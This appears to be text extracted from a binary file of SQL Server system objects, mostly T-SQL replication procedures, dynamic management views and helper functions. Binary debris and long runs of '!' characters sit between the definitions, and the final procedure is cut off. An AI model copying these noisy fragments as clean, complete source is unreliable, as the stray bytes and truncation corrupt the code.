xC2B
z0 8
--
-- Name:
--		sp_ORACheckAdminPrivileges
--
-- Description:
--		Validate admin privileges needed for publishing (Oracle specific)
--
-- Inputs:
--		@publisher		== publisher name
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Used by sp_ORAaddpublisher
--

CREATE PROCEDURE sys.sp_ORACheckAdminPrivileges
(
	@publisher			sysname
)
AS
BEGIN
	DECLARE @retcode			int
	DECLARE @pubid				int
	DECLARE @grantsCheck		int
	DECLARE @InsColumnList		nvarchar(200)
	DECLARE @SelectColumnList	nvarchar(200)

	-- Get publisher ID
	SELECT	@pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Define #grants support table
	create table #grants
	(
		gcheck	nchar(3),
		value	int
	)

	--
	-- Populate a temp table with the permission checks
	--
	SELECT @InsColumnList    = 'gcheck, value'
	SELECT @SelectColumnList = '*'

	-- Check to make certain that all needed privileges have been granted
	INSERT INTO #hquery(cmd) VALUES ('SELECT ''ALL'', COUNT(*) ')
	INSERT INTO #hquery(cmd) VALUES ('FROM SESSION_PRIVS SP ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE SP.PRIVILEGE IN ')
	INSERT INTO #hquery(cmd) VALUES ('(''CREATE PROCEDURE'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE PUBLIC SYNONYM'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE SEQUENCE'', ')
	INSERT INTO #hquery(cmd) VALUES ('''DROP PUBLIC SYNONYM'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE SESSION'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE TABLE'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE VIEW'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE ANY TRIGGER'') ')
	INSERT INTO #hquery(cmd) VALUES ('UNION ')
	-- Check to make certain that some grants were made explicitly to admin user or PUBLIC
	INSERT INTO #hquery(cmd) VALUES ('SELECT ''EXP'', COUNT(*) ')
	INSERT INTO #hquery(cmd) VALUES ('FROM USER_SYS_PRIVS RSP ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE RSP.PRIVILEGE IN ')
	INSERT INTO #hquery(cmd) VALUES ('(''CREATE TABLE'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE VIEW'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE ANY TRIGGER'') ')
	INSERT INTO #hquery(cmd) VALUES ('AND (RSP.USERNAME = USER OR RSP.USERNAME = ''PUBLIC'') ')
	INSERT INTO #hquery(cmd) VALUES ('UNION ')
	-- Check to for allocated quota in some tablespace	
	INSERT INTO #hquery(cmd) VALUES ('SELECT ''QTA'', COUNT(*) ')
	INSERT INTO #hquery(cmd) VALUES ('FROM USER_TS_QUOTAS UQ ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE UQ.MAX_BYTES IS NOT NULL ')
	INSERT INTO #hquery(cmd) VALUES ('AND NOT UQ.MAX_BYTES = 0 ')
	INSERT INTO #hquery(cmd) VALUES ('UNION ')
	-- Check for 'PUBLIC' has been explicitly granted 'UNLIMITED TABLESPACE'
	INSERT INTO #hquery(cmd) VALUES ('SELECT ''UPT'', COUNT(*) ')
	INSERT INTO #hquery(cmd) VALUES ('FROM USER_SYS_PRIVS RSP ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE RSP.PRIVILEGE = ''UNLIMITED TABLESPACE'' ')
	INSERT INTO #hquery(cmd) VALUES ('AND (RSP.USERNAME = USER OR RSP.USERNAME = ''PUBLIC'')')

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#grants',
					@InsColumnList		= @InsColumnList

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21683, 16, -1, @publisher)
		RETURN (1)
	END
	
	-- Verify grant checks
	-- 1.  All required privileges (8)
	-- 2.  Explicit privileges (3)
	-- 3.  Quota space or unlimited tablespace
	SELECT	@grantsCheck =	CASE
								WHEN	(G1.value = 8) AND
										(G2.value = 3) AND
										(
											(G3.value > 0) OR
											(G4.value = 1)
										) THEN 1
								ELSE	0
							END
	FROM	#grants G1,
			#grants G2,
			#grants G3,
			#grants G4
	WHERE	G1.gcheck = 'ALL'
	  AND	G2.gcheck = 'EXP'
	  AND	G3.gcheck = 'QTA'
	  AND	G4.gcheck = 'UPT'

	IF @grantsCheck <> 1
	BEGIN
		RAISERROR (21684, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`s(<'
xCX0-t w8
create procedure sys.sp_MSchangemergeschemaarticle (
    @pubid uniqueidentifier,
    @artid uniqueidentifier,
    @property sysname,
    @value nvarchar(2000)
    ) AS
    
    set nocount on

    /*
    ** No need to bump the compatibility level
    ** here as the compatibility level for
    ** a publication with a schema-only article 
    ** is already 90
    */
    declare @schema_option   binary(8)
    declare @precmdid        tinyint
    declare @creation_script nvarchar(255)
    declare @statusid        tinyint
    declare @type            tinyint
    declare @source_object   sysname
    declare @valid_schema_options int

    /* 
    ** Parameter Check: @property
    ** Check to make sure that @property is a valid property in 
    ** dbo.sysmergeschemaarticles.
    */
    select @property = lower(@property collate SQL_Latin1_General_CP1_CS_AS)
    if @property NOT IN ('description',
                         'pre_creation_command',
                         'creation_script',
                         'status',
                         'schema_option',
                         'destination_owner',
                         'destination_object',
                         'processing_order')
    begin
        raiserror(21224, 16, -1, @property)
        return (1)
    end     

    select @type = type, @source_object = object_name(objid)
      from dbo.sysmergeextendedarticlesview
     where pubid = @pubid
       and artid = @artid 

    -- Since all property changes will take the form of 
    -- simple update stataments, no transaction will be 
    -- started. 

    if @property = N'description'
    begin
        update dbo.sysmergeschemaarticles 
           set description = @value 
         where pubid = @pubid
           and artid = @artid
            
        if @@error <> 0
            return 1
    end
    else if @property = N'pre_creation_command'
    begin
        /*
        ** The value for the pre_creation_command
        ** property must be either 'none' or 'drop'     
        */
        select @value = lower(@value collate SQL_Latin1_General_CP1_CS_AS)
        if @value not in (N'none', N'drop')
        begin
            raiserror(21223, 16, -1)
            return (1)
        end
 
        if @value = N'none'
            select @precmdid = 0
        else if @value = N'drop'
            select @precmdid = 1 
            
        update dbo.sysmergeschemaarticles
           set pre_creation_command = @precmdid
         where pubid = @pubid
           and artid = @artid

        if @@error <> 0
            return (1)

    end      
    else if @property = N'creation_script'
    begin
        if @value is NULL or @value = N''
        begin
            /*
            ** Existing schema option must not be 
            ** 0x0000000000000000 if the creation_script 
            ** path has to be set to null
            */

            select @schema_option = schema_option from dbo.sysmergeschemaarticles
            where pubid = @pubid and artid = @artid
/*              
            if @schema_option = 0x0000000000000000
            begin
                raiserror(21218, 16, -1)
                return (1)
            end
*/

        end

        update dbo.sysmergeschemaarticles 
           set creation_script = @value
         where pubid = @pubid 
           and artid = @artid      

        if @@error <> 0
            return (1)

    end 
    else if @property = N'status'
    begin
        select @value = lower(@value collate SQL_Latin1_General_CP1_CS_AS)

        if @value not in ('active', 'unsynced')
        begin
            raiserror(20075, 16, -1)
            return (1)
        end

        if @value = N'unsynced'
            select @statusid = 1
        else if @value = N'active'
            select @statusid = 2

        update dbo.sysmergeschemaarticles
           set status = @statusid 
         where pubid = @pubid
           and artid = @artid
        
        if @@error <> 0
            return (1)
    end
    else if @property = N'schema_option'
    begin
       
        if @value is null
        begin
            raiserror(14146, 16,1)
            return (1)
        end

		-- make sure that the value we are about to  
		-- build a dyn sql stmt with is a valid hexstr
		IF (SELECT sys.fn_isvalidhexstr(@value)) <> 1
		BEGIN
   			RAISERROR(20014, 16, -1)
   			RETURN (1)
  		END

        create table #tab_changeschemaarticle (value varbinary(8) NULL)
                             
        if @@error <> 0
        begin
            return (1)
        end
        
        EXEC ('insert #tab_changeschemaarticle values (' + @value +')' )

        if @@error <> 0
        begin
        	drop table #tab_changeschemaarticle
            return (1)
        end
                  
        select @schema_option = fn_replprepadbinary8(value) 
          from #tab_changeschemaarticle

        update dbo.sysmergeschemaarticles 
			set schema_option = @schema_option where pubid = @pubid and artid = @artid 
			
        if @@error <> 0
        begin
        	drop table #tab_changeschemaarticle
            return (1)
        end

    	drop table #tab_changeschemaarticle

        if @@error <> 0
            return (1)
            
    end
    else if @property = N'destination_owner'
    begin
        select @value = rtrim(@value) 
        update dbo.sysmergeschemaarticles 
           set destination_owner = @value
         where pubid = @pubid
           and artid = @artid
        
        if @@error <> 0
            return (1)
    end
    else if @property = N'destination_object'
    begin
        select @value = rtrim(@value) 
        if @value is null or @value = ''
        begin
            select @value = @source_object
        end
        update dbo.sysmergeschemaarticles
           set destination_object = @value
         where pubid = @pubid
           and artid = @artid         
    end
    else if @property = 'processing_order'
    begin

        declare @processing_order int
        select @processing_order = convert(int, @value) 

        update dbo.sysmergeschemaarticles set processing_order = @processing_order
        where artid = @artid and pubid = @pubid
        if @@ERROR<>0
            return 1
    end

    return (0)          
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<v
?
U0h$ 8
create procedure sys.sp_MSacquireHeadofQueueLock
@process_name                   sysname,
@queue_timeout                  int = 0,  -- means wait in definitely
@no_result                      bit = 0,
@return_immediately             bit = 0,  -- if 1, do not wait: return and 
                                          -- post a progress message.
@DbPrincipal                    sysname = NULL
AS
declare @entry_date     datetime
declare @delay_time     int --in second
declare @retcode        int
declare @max_waiting    int
declare @lock_acquired  bit

-- Security Checking 
-- sysadmin or db_owner or PAL user of some publication have access
exec @retcode = sys.sp_MSrepl_PAL_rolecheck
if (@retcode <> 0) or (@@error <> 0)
begin
        RAISERROR (14126, 11, -1)
       return 1
end

if @queue_timeout<0
    begin
        raiserror(21344, 16, -1, '@queue_timeout')
        return (1)      
    end
        
if @queue_timeout> 3600*12 -- more than 12 hours is not allowed: 
                           -- make it 0 in this case.
    begin
        raiserror(21417, 16, -1) 
        return (1)
    end

if @DbPrincipal is NULL 
begin
    if exists (select * from sys.database_principals where name=N'MSmerge_PAL_role' and type = 'R')
        select @DbPrincipal = N'MSmerge_PAL_role'
    else
        select @DbPrincipal = N'db_owner'
end


--quick peek and leave
if @return_immediately=1
    begin
        --take a peek: return without wait regardless of whether the lock 
        --is successfully acquired.
        exec @retcode=sys.sp_getapplock @Resource=@process_name,
            @LockMode=N'Exclusive',@LockOwner='Session',@LockTimeout=0,
            @DbPrincipal = @DbPrincipal
        if (@retcode <> 0 AND @retcode <> -1)
            begin
                RAISERROR(21414,16,-1)
                RETURN(@retcode)
            end
        IF (@retcode = 0)       -- AppLock acquired
            select 1, 0         -- 1 means lock acquired, 0 is the time 
                                -- consumed to acquired this lock.
        else if @retcode = -1   -- AppLock is not available 
            select 0, 0         -- first 0 means lock not available, 
                                -- second column will be ignored.
        return (0)              -- OK
    end     

-- from now on, @return_immediately=0
-- if @queue_timeout=0, means waiting indefinitely
if @queue_timeout=0
    select @max_waiting = NULL
else
--otherwise convert to minisecond and pass it down.
    select @max_waiting = @queue_timeout * 1000


select @delay_time=0
select @entry_date=getdate()

-- First try to acquire EXCLUSIVE lock which signfies at front of queue.
-- i.e. I'm next.

exec @retcode=sys.sp_getapplock @process_name, @LockMode=N'Exclusive',
    @LockOwner=N'Session', @LockTimeout=@max_waiting, @DbPrincipal=@DbPrincipal

-- We shouldn't return from above until we have it 
-- RC should be either 0 (got immediately) or 1 (waited and got it eventually) or -1 (timed out); Exit on anything else.
-- We need value -1 because @LockTimeout value is no longer NULL, 
-- meaning waiting indefinitely. It is possible 
-- that we waited for a given length of time and timed out
IF (@retcode <> 0 and @retcode <> 1) and @retcode<>-1
    BEGIN
        RAISERROR(21413, 16, -1)
        RETURN(@retcode)
    END
    
-- Im-first lock is to be released after successfully 
-- obtained a slot lock later.
select @delay_time=datediff(ss, @entry_date, getdate())
if @retcode=-1
    select @lock_acquired=0
else
    select @lock_acquired=1

if @no_result = 0
begin
    select @lock_acquired, @delay_time
end

RETURN(0)
0%@ 8
create procedure sys.sp_MSgentablenickname
            @tablenick    int    output, @nickname int, @objid int
as

    declare @refcnt int
    declare @retval int
    
    /* Create a tablenickname from the following formula
    **        1.  Get the refcnt, use it for the high order digits so
    **            that processing inserts by ascending tablenickname works well
    **             and processing deletes by descending tablenickname works well.
    **        2.  Use a couple of digits from the nickname so that it is less likely
    **            to collide with tablenickname generated at another merge publisher.
    **        3.  Increment as necessary to make it unique within the publication and database.
    */
    exec @retval = sys.sp_MSrefcnt @objid, @refcnt output
    if @retval <> 0 return (1)

    if @nickname < 0
        set @nickname = 0 - @nickname

    /* the biggest value for int is 2147483647, we therefore use another algorithm when
    ** @refcnt is bigger than 200
    */
    if @refcnt < 200
    begin
        set @tablenick = 1000 * ((@refcnt * 10000) + (@nickname % 10000))
        while exists (select * from dbo.sysmergearticles where nickname = @tablenick)
            set @tablenick = @tablenick + 1
    end
    else
        select @tablenick=max(nickname) + 1 from dbo.sysmergearticles
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<6
GA%0S 8 
-- add it
create view sys.dm_pdw_nodes_exec_query_resource_semaphores as
select *, convert(int, null) pdw_node_id from sys.dm_exec_query_resource_semaphores
0@9U (8
create function [sys].[fn_cdc_trim_whitespace]
(
	@column sysname
)
returns sysname
as
begin
	declare @len int, @ct int, @ch nchar, @found_ch bit
	
	select @len = LEN(@column)
	
	-- Determine the number of leading whitespace characters
	select @ct = 1, @found_ch = 0
	while (@ct <= @len and @found_ch = 0)
	begin
		if (substring(@column, @ct, 1) in (nchar(9), nchar(10), nchar(11), nchar(12), nchar(13), nchar(32)))
			set @ct = @ct + 1
		else	
			set @found_ch = 1
	end
	
	-- Remove leading whitespace
	set @column = substring(@column, @ct, @len-(@ct-1))

	select @len = LEN(@column)
	
	-- Determine the number of trailing whitespace characters
	select @ct = 0, @found_ch = 0
	while (@ct < @len and @found_ch = 0)
	begin
		if (substring(@column, @len - @ct, 1) in (nchar(9), nchar(10), nchar(11), nchar(12), nchar(13), nchar(32)))
			set @ct = @ct + 1
		else	
			set @found_ch = 1
	end

	-- Remove trailing whitespace
	set @column = substring(@column, 1, @len-@ct)
		
	return @column
end
0LSU@ y8CREATE VIEW sys.dm_io_pending_io_requests AS
	SELECT *
	FROM OpenRowSet(TABLE SYSIOS)
K#`v
<
o
GA),0Q@ 8create procedure sys.sp_helpmergepublication (
    @publication    sysname = '%',    /* The publication name */
    @found          int         = NULL  OUTPUT,
    @publication_id uniqueidentifier = NULL OUTPUT,
    @reserved       nvarchar(20) = NULL,
    @publisher      sysname = NULL,
    @publisher_db   sysname = NULL
    ) as

    declare @retcode int
    
    -- Security check
    exec @retcode= sys.sp_MSrepl_PAL_rolecheck
    if @retcode<>0 or @@error<>0 
        return 1

    -- fix the pal role for the publication. Calling this proc will do nothing if the 
    -- pal role already exists. Do this only if the current user calling this is a dbo 
    -- and tran count is = 0. We need to call this here because the snapshot agent calls
    -- this proc as the first thing. Before the snapshot can call sp_MSpublicationview
    -- we need the pal role to be present.
    if (@publication is not NULL) and (@publication <> '%') and (@reserved = N'fromSnapshot') and (is_member('db_owner') = 1) and (@@trancount = 0) 
    begin
        declare @role sysname
        declare @pubid uniqueidentifier

        if object_id('sysmergepublications') is not NULL
        begin
            select @pubid = pubid from dbo.sysmergepublications 
                where UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name() and name = @publication
            if @pubid is not NULL
            begin        
                exec @retcode = sys.sp_MSrepl_FixPALRole @pubid, @role output
                if (@role is NULL or @retcode <> 0 or @@error <> 0)
                begin
                    -- add appropriate error message here
                    return 1
                end

                -- we also need to fix the pal role for other publications as well
                
                declare @pubidother uniqueidentifier
                declare pubs_cursor cursor LOCAL FAST_FORWARD
                for select pubid from dbo.sysmergepublications
                        where pubid <> @pubid 
                            and LOWER(publisher)  collate database_default = LOWER(publishingservername()) collate database_default 
                            and publisher_db = DB_NAME()
                
                for read only
                
                open pubs_cursor
                fetch pubs_cursor into @pubidother
                while (@@fetch_status <> -1)
                begin
                    exec @retcode = sys.sp_MSrepl_FixPALRole @pubidother, @role output
                    if (@role is NULL or @retcode <> 0 or @@error <> 0)
                    begin
                        return 1
                    end
                    fetch pubs_cursor into @pubidother
                end
                close pubs_cursor
                deallocate pubs_cursor
            end
        end
        -- do upgrade here if MSmerge_upgrade_in_progress table is present
        if object_id('MSmerge_upgrade_in_progress', 'U') is not NULL
        begin
            exec sys.sp_MScreate_all_article_repl_views
            if @@error <> 0
                return 1
        
            exec @retcode = sys.sp_MSmerge_autoident_upgrade
            if @retcode<>0 or @@error<>0
                return 1

            exec @retcode = sys.sp_MSmerge_metadataupgrade
            if @retcode<>0 or @@error<>0
                return 1

            exec @retcode = sys.sp_MSmerge_upgrade_subscriber @upgrade_metadata = 0
            if @retcode<>0 or @@error<>0
                return 1

            -- sp_MSmerge_upgrade_subscriber may have dropped this table so check again
            if object_id('MSmerge_upgrade_in_progress', 'U') is not NULL
            begin
                drop table dbo.MSmerge_upgrade_in_progress
            end
        end
    end


    -- When the merge agent calls sp_helpmergepublication on the publisher connection,
    -- we don't need row numbers and also don't need some other code that is in 
    -- sp_MShelpmergepub_withrownumbers. With multiple concurrent merge agents calling
    -- sp_helpmergepublication, sp_MShelpmergepub_withrownumbers can perform poorly 
    -- due to its use of temp table or table variable. Server is going to add RANK which
    -- will later allow us to combine these 2 procs into one. For the time being we need
    -- to call the faster sp_MShelpmergepub_withoutrownumbers if being called from the 
    -- merge agent.
    if 1 = sessionproperty('replication_agent') -- leave this here; it is not for security reasons!
        and @found is null
        and @publication_id is null
        and (@reserved is null or @reserved = 'internal')
        --and @publisher is null
        --and @publisher_db is null
    begin
        exec @retcode = sp_MShelpmergepub_withoutrownumbers 
                            @publication, @publisher, @publisher_db
    end
    else
    begin
        exec @retcode = sp_MShelpmergepub_withrownumbers 
                            @publication,
                            @found OUTPUT,
                            @publication_id OUTPUT,	
                            @reserved, 
                            @publisher, 
                            @publisher_db
    end

    return @retcode
`
<	

(
'0V 8CREATE FUNCTION sys.dm_exec_sql_text(@handle varbinary(64))
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE FNGETSQL, @handle)
0lW@ 8create procedure sys.sp_MSsetaccesslist
@publication     sysname,
@publisher         sysname,
@publisher_db    sysname
AS
    -- we don't need to do anything here since we use role based security
    return 0
0Z@ 8 
-- add it
create view sys.dm_pdw_sys_info as
select
	total_sessions,
	idle_sessions,
	active_requests,
	queued_requests,
	active_loads,
	queued_loads,
	active_backups,
	active_restores
from sys._dm_pdw_sys_info
0Z {8create function sys.dm_fts_index_keywords_by_property(
    @dbid int,
    @objid int)
returns table as return
	select 
	keyword, 
	fulltext_display_term(keyword) display_term, 
	colid column_id, 
	docid document_id,
	internalPid property_id
	from openrowset(TABLE FTCOMPINDEX, @dbid, @objid, 2) compidx 
	where compidx.internalPid > 0
0T[ 8create procedure sys.sp_MShelpmergepub_withoutrownumbers (
	@publication	sysname,
	@publisher sysname,
	@publisher_db sysname
	) AS
		
	if @publication is NULL
	begin
		raiserror (14043, 16, -1, '@publication', 'sp_MShelpmergepub_withoutrownumbers')
		return 1
	end

	if @publisher is NULL
    	set @publisher=publishingservername()

    if @publisher_db is NULL
    	set @publisher_db=db_name()
    	
    -- if local publisher, and if using workgroup edition, check for subscription limit.
    if @publisher = publishingservername()
    begin
		declare @distributor sysname, @distribdb sysname, @distproc nvarchar(300), @retcode int, @publisher_engine_edition int
		
		select @publisher_engine_edition = sys.fn_MSrepl_editionid()
		
		if @publisher_engine_edition = 21
		begin
		
			EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT,
													@distribdb = @distribdb OUTPUT
			
			IF @@ERROR <> 0 OR	@retcode <> 0
			BEGIN
				RAISERROR (14071, 16, -1)
				return 1
			END
			
			select @distproc = RTRIM(@distributor) + '.' + QUOTENAME(@distribdb) + 
				'.dbo.sp_MScheck_merge_subscription_count'
			
			EXECUTE @retcode = @distproc
				@publisher = @publisher,
				@publisher_engine_edition = @publisher_engine_edition,	
        		@about_to_insert_new_subscription=0

			if @@ERROR <> 0 OR @retcode <> 0
				return 1
		end
    end
   
	-- ANY COLUMNS ADDED HERE AND RETRIEVED IN THE RESULTSET OF THIS PROC SHOULD PROBABLY ALSO BE ADDED TO
	-- sp_MShelpmergepub_withrownumbers. sp_MShelpmergepub_withrownumbers is called by UI and SQL2000 or prior subscribers.
	-- sp_MShelpmergepub_withoutrownumbers is called by Yukon subscribers. We need to make sure that the column list
	-- in the resultset is the same between these procs.
	select	NULL, pubs.name, pubs.description, pubs.status, pubs.retention, pubs.sync_mode, pubs.allow_push, 
	pubs.allow_pull, pubs.allow_anonymous, pubs.centralized_conflicts,
	subs.priority, 
	case when pubs.snapshot_ready > 1 then 0 else pubs.snapshot_ready end, 
	pubs.publication_type, pubs.pubid, pubs.snapshot_jobid,	pubs.enabled_for_internet, pubs.dynamic_filters, 
	0, -- Merge agent does not retrieve the 18th column when calling sp_MShelpmergepub_withoutrownumbers. If we decide to 
		-- retrieve this in future, this would need to be replaced by the subquery at the 18th column in sp_MShelpmergepub_withrownumbers.
	pubs.snapshot_in_defaultfolder, pubs.alt_snapshot_folder, pubs.pre_snapshot_script, pubs.post_snapshot_script,
	pubs.compress_snapshot, pubs.ftp_address, pubs.ftp_port, pubs.ftp_subdirectory, pubs.ftp_login,
	pubs.conflict_retention, pubs.keep_before_values, pubs.allow_subscription_copy, pubs.allow_synctoalternate,
	case when pubs.validate_subscriber_info = N'' then NULL else pubs.validate_subscriber_info end, 
	pubs.backward_comp_level, case when pubs.ad_guidname is NULL then 0 else 1 end ,
	pubs.max_concurrent_merge, pubs.max_concurrent_dynamic_snapshots, 
	case when pubs.use_partition_groups = 1 then 1 else 0 end,		-- e.g. value 2 means "do not use partition groups yet".
	(select count(*) from dbo.sysmergearticles where pubid = pubs.pubid),
	pubs.replicate_ddl, pubs.publication_number, pubs.allow_subscriber_initiated_snapshot,  
	pubs.allow_web_synchronization, pubs.web_synchronization_url, pubs.allow_partition_realignment, pubs.retention_period_unit,
	sys.fn_MSmerge_hasdownloadonlyarticles(pubs.pubid), pubs.decentralized_conflicts, pubs.generation_leveling_threshold, pubs.automatic_reinitialization_policy,
	sys.fn_repldecryptver4_wrapper(pubs.ftp_password)
	FROM	dbo.sysmergesubscriptions	subs,
			dbo.sysmergepublications	pubs
	WHERE pubs.name = @publication
	and UPPER(pubs.publisher)=UPPER(@publisher) 
	and pubs.publisher_db=@publisher_db
	and subs.subid = pubs.pubid
	and subs.subscriber_type = 1
	and UPPER(subs.subscriber_server) = UPPER(@publisher) 
	and subs.db_name = @publisher_db
	-- although this proc is not granted to public, it needs security check.
	-- This is because the wrapping sp_helpmergepublication does not have the
	-- necessary information to do the check itself.
	and	(1 = {fn ISPALUSER(pubs.pubid)} or
		 1 = is_srvrolemember('db_owner') or
		 1 = isnull(is_member('replmonitor'),0))
		
	return 0
0_X@ D8Lh |0[@ D8+Jh'63@`<(
{=<
vHcreate procedure sys.sp_addmergearticle
    @publication            sysname,                            /* publication name */
    @article                sysname,                            /* article name */
    @source_object          sysname,                            /* source object name */
    @type                   sysname = 'table',                  /* article type */
    @description            nvarchar(255)= NULL,                /* article description */
    @column_tracking        nvarchar(10) = 'false',             /* column level tracking */
